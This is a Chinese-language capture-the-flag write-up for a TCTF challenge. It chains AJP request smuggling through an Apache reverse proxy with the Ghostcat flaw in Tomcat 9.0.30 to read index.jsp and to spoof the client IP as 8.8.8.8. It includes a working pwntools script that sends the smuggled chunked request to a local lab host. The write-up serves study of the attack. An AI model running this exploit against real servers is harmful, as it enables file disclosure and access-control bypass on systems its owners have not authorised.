Where are you from?
一道TCTF的题目,考点ajp走私+幽灵猫
环境搭建
由于本题没有docker,只能自己本地搭一个
Tomcat 9.0.30 服务器
该漏洞修复版本为9.0.31,这里选用9.0.30
在server.xml中使用默认配置开启ajp端口8009(不对外暴露,只有反代可以访问)
Apache 2.4.43 反向代理
作反代,/cat路由代理到8009端口上
index.jsp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <html> <body> <h2> <% out.println("hhhhhhhhh, it's tomcat!!"); String remote_addr = request.getRemoteAddr(); if (remote_addr.equals("8.8.8.8")) { String flag = "flag{test}";//原题中这里是从环境变量中获取,无法读源码获得 out.println(flag); } else { out.println(remote_addr); } %> </h2>
</body> </html>
|
攻击流程
读取源码
访问/cat路由可以看到apache版本,在ajp走私的攻击范围
先构造要走私请求,参考github.com
先尝试读index.jsp,请求的url设置为/1,保证进入DefaultServlet中处理
调整请求头的ua来把长度凑成0x202
把生成的ajp数据包去掉开头的六个字节就是我们要发送的body
将要发送的body写入文件中,再利用走私发给反代
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| import binascii from pwn import *
def request_prepare(): hexdata = open("1.txt", "rb").read() mydata = binascii.unhexlify(hexdata) req = b'''POST /cat/ HTTP/1.1\r Host: 192.168.142.129:8000\r User-Agent: curl/7.84.0\r Accept: */*\r Content-Type: application/x-www-form-urlencoded\r Transfer-Encoding: a, chunked\r \r 202\r ''' req += mydata req += b'''\r 0\r \r\n''' print(len(mydata)) return req
def send_and_recive(req): rec = b'' ip = '192.168.142.129' port = 8000 p = remote(ip, int(port)) p.send(req) rec += p.recv() print(rec.decode()) p.close() return rec.decode()
req = request_prepare() print(req) f = open('req.txt', 'wb') f.write(req) f.close() res = send_and_recive(req) f = open('res.txt', 'wb') f.write(res.encode()) f.close()
|
最终的完整请求如下
收到的响应如下,成功读到文件
这里的回显会一直变化,我测试后发现的原因如下
当我们在正常的请求中走私一个forward_request时,tomcat会给出两个响应,我们收到的一定是第一次响应(也就是没有走私的正常响应),但我们想要的是tomcat对我们走私的ajp包产生的响应,也就是第二次响应,
虽然一次只能接受一条响应,但我们需要的第二条响应并没有被丢弃,而是处于一种”阻塞“状态,假如apache反代处于单例模式下,那我们只要继续对这个反代路由发起一次任意的请求,就可以收到原来”阻塞“的第二条响应
如下图,我们即使不走私也可以收到刚刚的第二次响应
如果是多进程模式,那我们多走私几次就可以了
伪造ip
从源码中可以看到,本题使用request.getRemoteAddr()
来获取ip,并要求ip是8.8.8.8才能获得flag
经过本地测试可以发现request.getRemoteAddr()
获取的ip是RADDR这个字段的值
在幽灵猫脚本中对应修改一下即可,
同时因为要用这个ip去执行index.jsp,所以需要修改一下幽灵猫的uri,走JspServlet这个路由,还得修改一下ua的长度保证0x202
最终走私的ajp包如下
最终读取到flag